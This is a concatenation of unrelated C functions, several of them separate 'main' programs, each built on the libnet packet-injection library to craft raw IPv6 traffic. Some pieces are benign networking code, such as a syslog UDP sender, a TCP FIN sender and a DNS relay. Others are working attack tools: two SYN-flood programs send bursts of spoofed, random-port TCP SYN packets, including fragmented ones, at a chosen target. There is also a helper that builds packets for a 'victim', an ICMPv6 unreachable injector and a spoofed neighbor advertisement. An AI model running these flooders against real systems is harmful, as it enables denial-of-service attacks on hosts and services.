libnet_ptag_t
build_pkt (libnet_t * l, u_long * seq, struct libnet_in6_addr src,
struct libnet_in6_addr victim)
{
libnet_ptag_t ip_tag, tcp_tag;
ip_tag = tcp_tag = LIBNET_PTAG_INITIALIZER;
libnet_seed_prand (l);
*seq = (u_long) libnet_get_prand (LIBNET_PRu32);
tcp_tag = libnet_build_tcp (0,
0,
*seq,
libnet_get_prand (LIBNET_PRu32),
TH_SYN,
libnet_get_prand (LIBNET_PRu16),
0, 0, LIBNET_TCP_H, NULL, 0, l, 0);
ip_tag = libnet_build_ipv6 (0,
0,
LIBNET_TCP_H,
IPPROTO_TCP, 64, src, victim, NULL, 0, l, 0);
return tcp_tag;
}
struct packet * sender6_send_icmp(struct sender6 *s, /* {{{ */
struct libnet_in6_addr dst, uint8_t ttl,
uint8_t traffic_class, uint32_t flow_label,
uint16_t icmpsum, uint16_t icmpid, uint16_t icmpseq,
size_t padding)
{
padding += (padding % 2);
size_t cnt = padding/sizeof(uint16_t) + 1;
uint16_t *pload = malloc(cnt * sizeof(uint16_t));
if(!pload) logea(__FILE__, __LINE__, NULL);
memset(pload, 0, cnt * sizeof(uint16_t));
pload[cnt-1] = sender6_compute_icmp_payload(icmpsum, icmpid, icmpseq);
s->icmptag = libnet_build_icmpv6_echo(ICMP6_ECHO, 0,
SENDER_AUTO_CHECKSUM, icmpid, icmpseq,
(uint8_t *)pload, cnt * sizeof(uint16_t),
s->ln, s->icmptag);
free(pload);
if(s->icmptag == -1) goto out;
size_t sz = LIBNET_ICMPV6_ECHO_H + cnt*sizeof(uint16_t);
s->iptag = libnet_build_ipv6(traffic_class, flow_label,
sz, IPPROTO_ICMP6, ttl, s->ip, dst,
NULL, 0,
s->ln, s->iptag);
if(s->iptag == -1) goto out;
if(libnet_write(s->ln) < 0) goto out;
struct packet *pkt = sender6_make_packet(s);
return pkt;
out:
loge(LOG_FATAL, __FILE__, __LINE__);
logd(LOG_DEBUG, "%s %d %d error: %s\n", __func__, ttl, icmpsum,
libnet_geterror(s->ln));
libnet_clear_packet(s->ln);
s->icmptag = 0;
s->iptag = 0;
return NULL;
} /* }}} */
static gboolean
afinet_dd_construct_ipv6_packet(AFInetDestDriver *self, LogMessage *msg, GString *msg_line)
{
libnet_ptag_t ip, udp;
struct sockaddr_in *src4;
struct sockaddr_in6 src, *dst;
struct libnet_in6_addr ln_src, ln_dst;
switch (msg->saddr->sa.sa_family)
{
case AF_INET:
src4 = (struct sockaddr_in *) &msg->saddr->sa;
memset(&src, 0, sizeof(src));
src.sin6_family = AF_INET6;
src.sin6_port = src4->sin_port;
((guint32 *) &src.sin6_addr)[0] = 0;
((guint32 *) &src.sin6_addr)[1] = 0;
((guint32 *) &src.sin6_addr)[2] = htonl(0xffff);
((guint32 *) &src.sin6_addr)[3] = src4->sin_addr.s_addr;
break;
case AF_INET6:
src = *((struct sockaddr_in6 *) &msg->saddr->sa);
break;
default:
g_assert_not_reached();
break;
}
dst = (struct sockaddr_in6 *) &self->super.dest_addr->sa;
libnet_clear_packet(self->lnet_ctx);
udp = libnet_build_udp(ntohs(src.sin6_port),
ntohs(dst->sin6_port),
LIBNET_UDP_H + msg_line->len,
0,
(guchar *) msg_line->str,
msg_line->len,
self->lnet_ctx,
0);
if (udp == -1)
return FALSE;
/* There seems to be a bug in libnet 1.1.2 that is triggered when
* checksumming UDP6 packets. This is a workaround below. */
libnet_toggle_checksum(self->lnet_ctx, udp, LIBNET_OFF);
memcpy(&ln_src, &src.sin6_addr, sizeof(ln_src));
memcpy(&ln_dst, &dst->sin6_addr, sizeof(ln_dst));
ip = libnet_build_ipv6(0, 0,
LIBNET_UDP_H + msg_line->len,
IPPROTO_UDP, /* IPv6 next header */
64, /* hop limit */
ln_src, ln_dst,
NULL, 0, /* payload and its length */
self->lnet_ctx,
0);
if (ip == -1)
return FALSE;
return TRUE;
}
static int send_fin(struct libsoccr_sk *sk, struct libsoccr_sk_data *data,
unsigned data_size, uint8_t flags)
{
int ret, exit_code = -1;
char errbuf[LIBNET_ERRBUF_SIZE];
int mark = SOCCR_MARK;;
int libnet_type;
libnet_t *l;
if (sk->dst_addr->sa.sa_family == AF_INET6)
libnet_type = LIBNET_RAW6;
else
libnet_type = LIBNET_RAW4;
l = libnet_init(
libnet_type, /* injection type */
NULL, /* network interface */
errbuf); /* errbuf */
if (l == NULL) {
loge("libnet_init failed (%s)\n", errbuf);
return -1;
}
if (setsockopt(l->fd, SOL_SOCKET, SO_MARK, &mark, sizeof(mark))) {
logerr("Can't set SO_MARK (%d) for socket\n", mark);
goto err;
}
ret = libnet_build_tcp(
ntohs(sk->dst_addr->v4.sin_port), /* source port */
ntohs(sk->src_addr->v4.sin_port), /* destination port */
data->inq_seq, /* sequence number */
data->outq_seq - data->outq_len, /* acknowledgement num */
flags, /* control flags */
data->rcv_wnd, /* window size */
0, /* checksum */
10, /* urgent pointer */
LIBNET_TCP_H + 20, /* TCP packet size */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (ret == -1) {
loge("Can't build TCP header: %s\n", libnet_geterror(l));
goto err;
}
if (sk->dst_addr->sa.sa_family == AF_INET6) {
struct libnet_in6_addr src, dst;
memcpy(&dst, &sk->dst_addr->v6.sin6_addr, sizeof(dst));
memcpy(&src, &sk->src_addr->v6.sin6_addr, sizeof(src));
ret = libnet_build_ipv6(
0, 0,
LIBNET_TCP_H, /* length */
IPPROTO_TCP, /* protocol */
64, /* hop limit */
dst, /* source IP */
src, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
} else if (sk->dst_addr->sa.sa_family == AF_INET)
ret = libnet_build_ipv4(
LIBNET_IPV4_H + LIBNET_TCP_H + 20, /* length */
0, /* TOS */
242, /* IP ID */
0, /* IP Frag */
64, /* TTL */
IPPROTO_TCP, /* protocol */
0, /* checksum */
sk->dst_addr->v4.sin_addr.s_addr, /* source IP */
sk->src_addr->v4.sin_addr.s_addr, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
else {
loge("Unknown socket family\n");
goto err;
}
if (ret == -1) {
loge("Can't build IP header: %s\n", libnet_geterror(l));
goto err;
}
ret = libnet_write(l);
if (ret == -1) {
loge("Unable to send a fin packet: %s\n", libnet_geterror(l));
goto err;
}
exit_code = 0;
err:
libnet_destroy(l);
return exit_code;
}
int
main(int argc, char **argv)
{
struct libnet_in6_addr dst_ip;
struct libnet_in6_addr src_ip;
u_short dst_prt = 0;
u_short src_prt = 0;
libnet_t *l;
libnet_ptag_t t;
char *cp;
char errbuf[LIBNET_ERRBUF_SIZE];
int i, c, packet_amt, burst_int, burst_amt, build_ip;
char srcname[100],dstname[100];
packet_amt = 0;
burst_int = 0;
burst_amt = 1;
printf("libnet 1.1 unreach/admin prohibited request ICMP6[raw]\n");
/*
* Initialize the library. Root priviledges are required.
*/
l = libnet_init(
LIBNET_RAW6, /* injection type */
NULL, /* network interface */
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
{
switch (c)
{
case 't':
if (!(cp = strrchr(optarg, '/')))
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
*cp++ = 0;
dst_prt = (u_short)atoi(cp);
dst_ip = libnet_name2addr6(l, optarg, 1);
if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
{
fprintf(stderr, "Bad IP6 address: %s\n", optarg);
exit(EXIT_FAILURE);
}
break;
case 'a':
packet_amt = atoi(optarg);
break;
case 'i':
burst_int = atoi(optarg);
break;
case 'b':
burst_amt = atoi(optarg);
break;
default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}
if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
libnet_seed_prand(l);
libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
{
for (i = 0; i < packet_amt; i++)
{
uint8_t payload[56];
int i;
for (i=0; i<sizeof(payload); i++)
payload[i]='A'+(i%26);
t = libnet_build_icmpv6_unreach (
ICMP6_UNREACH, /* type */
ICMP6_ADM_PROHIBITED, /* code */
0, /* checksum */
payload, /* payload */
sizeof(payload), /* payload length */
l, /* libnet context */
t); /* libnet ptag */
if (build_ip)
{
build_ip = 0;
libnet_build_ipv6(0,0,
LIBNET_IPV6_H + LIBNET_ICMPV6_H + sizeof(payload),
IPPROTO_ICMP6,
64,
src_ip,
dst_ip,
NULL,
0,
l,
0);
}
printf("%15s/%5d -> %15s/%5d\n",
srcname,
ntohs(src_prt),
dstname,
dst_prt);
c = libnet_write(l);
if (c == -1)
{
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
}
#if !(__WIN32__)
usleep(250);
#else
Sleep(250);
#endif
}
#if !(__WIN32__)
sleep(burst_int);
#else
Sleep(burst_int * 1000);
#endif
}
exit(EXIT_SUCCESS);
}
int
main(int argc, char **argv)
{
struct libnet_in6_addr dst_ip;
struct libnet_in6_addr src_ip;
u_short dst_prt = 0;
u_short src_prt = 0;
libnet_t *l;
libnet_ptag_t tcp, ip, ip_frag;
u_char *cp;
char errbuf[LIBNET_ERRBUF_SIZE];
int i, j, c, packet_amt, burst_int, burst_amt;
char srcname[100], dstname[100];
u_int8_t payload[56];
packet_amt = 0;
burst_int = 0;
burst_amt = 1;
tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER;
printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n");
l = libnet_init(
LIBNET_RAW6, /* injection type */
NULL, /* network interface */
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
{
switch (c)
{
case 't':
if (!(cp = strrchr(optarg, '/')))
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
*cp++ = 0;
dst_prt = (u_short)atoi(cp);
dst_ip = libnet_name2addr6(l, optarg, 1);
if (strncmp((char*)&dst_ip,
(char*)&in6addr_error,sizeof(in6addr_error))==0)
{
fprintf(stderr, "Bad IPv6 address: %s\n", optarg);
exit(EXIT_FAILURE);
}
break;
case 'a':
packet_amt = atoi(optarg);
break;
case 'i':
burst_int = atoi(optarg);
break;
case 'b':
burst_amt = atoi(optarg);
break;
default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}
src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
/* src_ip = libnet_name2addr6(l,
"3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
dst_prt = 113;
dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
packet_amt = 1;
*/
if (!dst_prt || strncmp((char*)&dst_ip,
(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
libnet_seed_prand(l);
libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname));
libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname));
for(; burst_amt--;)
{
for (i = 0; i < packet_amt; i++)
{
for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26));
tcp = libnet_build_tcp(
src_prt = libnet_get_prand(LIBNET_PRu16),
dst_prt,
libnet_get_prand(LIBNET_PRu32),
libnet_get_prand(LIBNET_PRu32),
TH_SYN,
libnet_get_prand(LIBNET_PRu16),
0,
0,
LIBNET_TCP_H,
NULL,
0,
l,
tcp);
if (tcp == -1)
{
fprintf(stderr, "Can't build or modify TCP header: %s\n",
libnet_geterror(l));
return (EXIT_FAILURE);
}
ip_frag = libnet_build_ipv6_frag(
IPPROTO_TCP, /* next header */
0, /* reserved */
0, /* frag bits */
1, /* ip id */
NULL,
0,
l,
ip_frag);
if (ip_frag == -1)
{
fprintf(stderr, "Can't build or modify TCP header: %s\n",
libnet_geterror(l));
return (EXIT_FAILURE);
}
ip = libnet_build_ipv6(
0, 0,
LIBNET_TCP_H,
IPPROTO_TCP,
64,
src_ip,
dst_ip,
NULL,
0,
l,
ip);
if (ip == -1)
{
fprintf(stderr, "Can't build or modify TCP header: %s\n",
libnet_geterror(l));
return (EXIT_FAILURE);
}
printf("%15s/%5d -> %15s/%5d\n",
srcname,
ntohs(src_prt),
dstname,
dst_prt);
c = libnet_write(l);
if (c == -1)
{
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
}
#if !(__WIN32__)
usleep(250);
#else
Sleep(250);
#endif
}
#if !(__WIN32__)
sleep(burst_int);
#else
Sleep(burst_int * 1000);
#endif
}
exit(EXIT_SUCCESS);
}
int
main(int argc, char *argv[])
{
libnet_t *l;
int r;
char *device = "eth0";
struct libnet_ether_addr *mac_address;
struct in6_addr src_ip;
struct libnet_in6_addr dst_ip;
char errbuf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t icmp_ptag = 0;
libnet_ptag_t ipv6_ptag = 0;
char payload[24] = { 0 };
memset(&src_ip, 0x66, sizeof(src_ip));
l = libnet_init( LIBNET_RAW6, device, errbuf);
assert(l);
mac_address = libnet_get_hwaddr(l);
assert(mac_address);
dst_ip = libnet_name2addr6(l, "::1" /* BCAST_ADDR - defined where? */, LIBNET_DONT_RESOLVE);
memcpy(payload,src_ip.s6_addr,16);
payload[16] = 2; /* 2 for Target Link-layer Address */
payload[17] = 1; /* The length of the option */
memcpy(payload+18,mac_address->ether_addr_octet, 6);
/* 0x2000: RSO */
icmp_ptag = libnet_build_icmpv4_echo(
136,0,0,0x2000,0,
(uint8_t *)payload,sizeof(payload), l, LIBNET_PTAG_INITIALIZER);
assert(icmp_ptag);
ipv6_ptag = libnet_build_ipv6(
0, 0,
LIBNET_ICMPV6_H + sizeof(payload), /* ICMPV6_H == ICMPV4_H, luckily */
IPPROTO_ICMP6,
255,
*(struct libnet_in6_addr*)&src_ip,
dst_ip,
NULL, 0,
l, 0);
assert(icmp_ptag);
print_pblocks(l);
{
uint8_t* pkt1 = NULL;
uint32_t pkt1_sz = 0;
r = libnet_pblock_coalesce(l, &pkt1, &pkt1_sz);
assert(r >= 0);
libnet_diag_dump_hex(pkt1, LIBNET_IPV6_H, 0, stdout);
libnet_diag_dump_hex(pkt1+LIBNET_IPV6_H, pkt1_sz-LIBNET_IPV6_H, 0, stdout);
free(pkt1);
pkt1 = NULL;
}
r = libnet_write(l);
assert(r >= 0);
return (EXIT_SUCCESS);
}
int main( int argc, char* argv[] )
{
int socket;
unsigned char data[1280];
int size;
libnet_t *libnet_context;
char libnet_errmsg_buf[LIBNET_ERRBUF_SIZE];
//socket = sock_afpacket( argv[1] );
socket = sock_udp( argv[2], strtoul(argv[3], NULL, 10 ) );
if ( socket == -1 )
{
fprintf(stderr, "socket error\n");
return 1;
}
// libnetのコンテキスト作成
libnet_context = libnet_init(LIBNET_RAW6_ADV, NULL, libnet_errmsg_buf );
//libnet_context = libnet_init(LIBNET_RAW6_ADV, argv[1], libnet_errmsg_buf );
if ( NULL == libnet_context )
{
fprintf(stderr, "%s\n", libnet_errmsg_buf );
close(socket);
return 1;
}
for(;;)
{
libnet_ptag_t ptag_udp, ptag_ip6;
uint8_t *pbuf;
uint32_t payload_len;
//afpacketからのデータ受信
//size = recv_packet( socket, sizeof(data), data );
//print_ipv6_header( data );
// UDPデータ受信
size = recv( socket, data, sizeof(data), MSG_TRUNC );
printf("data recieve. ");
dump_packet( size, data );
putc('\n', stdout);
// UDPヘッダ
ptag_udp = libnet_build_udp(
(uint16_t)(random()%(65535-49152)+49152), // source port(49152 - 65535)
53, // destination port
sizeof(header_udp) + size, // length of UDP pakcet
0, // checksum(autofill)
data, // payload
size, // payload length
libnet_context,
0 );
pbuf = libnet_getpbuf( libnet_context, ptag_udp );
payload_len = libnet_getpbuf_size( libnet_context, ptag_udp );
// IPv6ヘッダ
ptag_ip6 = libnet_build_ipv6(
0, // Traffic Class
0, // Flow Label
//sizeof(header_ipv6) + sizeof(header_udp) + size, // total length of the IP packet
sizeof(header_udp) + size, // total length of the IP packet
IPPROTO_UDP, // Next header(UDP)
10, // Hop Limit
libnet_name2addr6(
libnet_context, SRC_IP, LIBNET_DONT_RESOLVE ), // src ip
libnet_name2addr6(
libnet_context, DST_IP, LIBNET_DONT_RESOLVE ), // dst ip
pbuf, // payload
payload_len, // Payload Length
libnet_context,
0 );
// 送信データ取得
pbuf = libnet_getpbuf( libnet_context, ptag_ip6 );
payload_len = libnet_getpbuf_size( libnet_context, ptag_ip6 );
// チェックサム計算←IPv6は未対応の模様
//libnet_do_checksum( libnet_context, pbuf, IPPROTO_UDP, payload_len );
printf("data sending. ");
dump_packet( payload_len, pbuf );
// データ送信
//libnet_write_raw_ipv6( libnet_context, data, size );
libnet_write_raw_ipv6( libnet_context, pbuf, payload_len );
// 作成データ解放
libnet_clear_packet( libnet_context );
}
return 0;
}
int
main(int argc, char **argv)
{
struct libnet_in6_addr dst_ip;
struct libnet_in6_addr src_ip;
u_short dst_prt = 0;
u_short src_prt = 0;
libnet_t *l;
libnet_ptag_t t;
char *cp;
char errbuf[LIBNET_ERRBUF_SIZE];
int i, c, packet_amt, burst_int, burst_amt, build_ip;
char srcname[100],dstname[100];
packet_amt = 0;
burst_int = 0;
burst_amt = 1;
printf("libnet 1.1 syn flooding: TCP6[raw]\n");
/*
* Initialize the library. Root priviledges are required.
*/
l = libnet_init(
LIBNET_RAW6, /* injection type */
NULL, /* network interface */
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
{
switch (c)
{
case 't':
if (!(cp = strrchr(optarg, '/')))
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
*cp++ = 0;
dst_prt = (u_short)atoi(cp);
dst_ip = libnet_name2addr6(l, optarg, 1);
if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
{
fprintf(stderr, "Bad IP6 address: %s\n", optarg);
exit(EXIT_FAILURE);
}
break;
case 'a':
packet_amt = atoi(optarg);
break;
case 'i':
burst_int = atoi(optarg);
break;
case 'b':
burst_amt = atoi(optarg);
break;
default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}
src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
/*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
dst_prt = 113;
dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
packet_amt = 1;*/
if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
{
usage(argv[0]);
exit(EXIT_FAILURE);
}
libnet_seed_prand(l);
libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
{
for (i = 0; i < packet_amt; i++)
{
char payload[56];
int i;
for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
t = libnet_build_tcp(
src_prt = libnet_get_prand(LIBNET_PRu16),
dst_prt,
libnet_get_prand(LIBNET_PRu32),
libnet_get_prand(LIBNET_PRu32),
TH_SYN,
libnet_get_prand(LIBNET_PRu16),
0,
0,
LIBNET_TCP_H,
NULL,
0,
l,
t);
if (build_ip)
{
build_ip = 0;
printf("Packet len = %ld\n",LIBNET_ICMPV6_H+sizeof(payload));
libnet_build_ipv6(0,0,
LIBNET_TCP_H,
IPPROTO_TCP,
64,
src_ip,
dst_ip,
NULL,
0,
l,
0);
}
printf("%15s/%5d -> %15s/%5d\n",
srcname,
ntohs(src_prt),
dstname,
dst_prt);
c = libnet_write(l);
if (c == -1)
{
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
}
#if !(__WIN32__)
usleep(250);
#else
Sleep(250);
#endif
}
#if !(__WIN32__)
sleep(burst_int);
#else
Sleep(burst_int * 1000);
#endif
}
exit(EXIT_SUCCESS);
}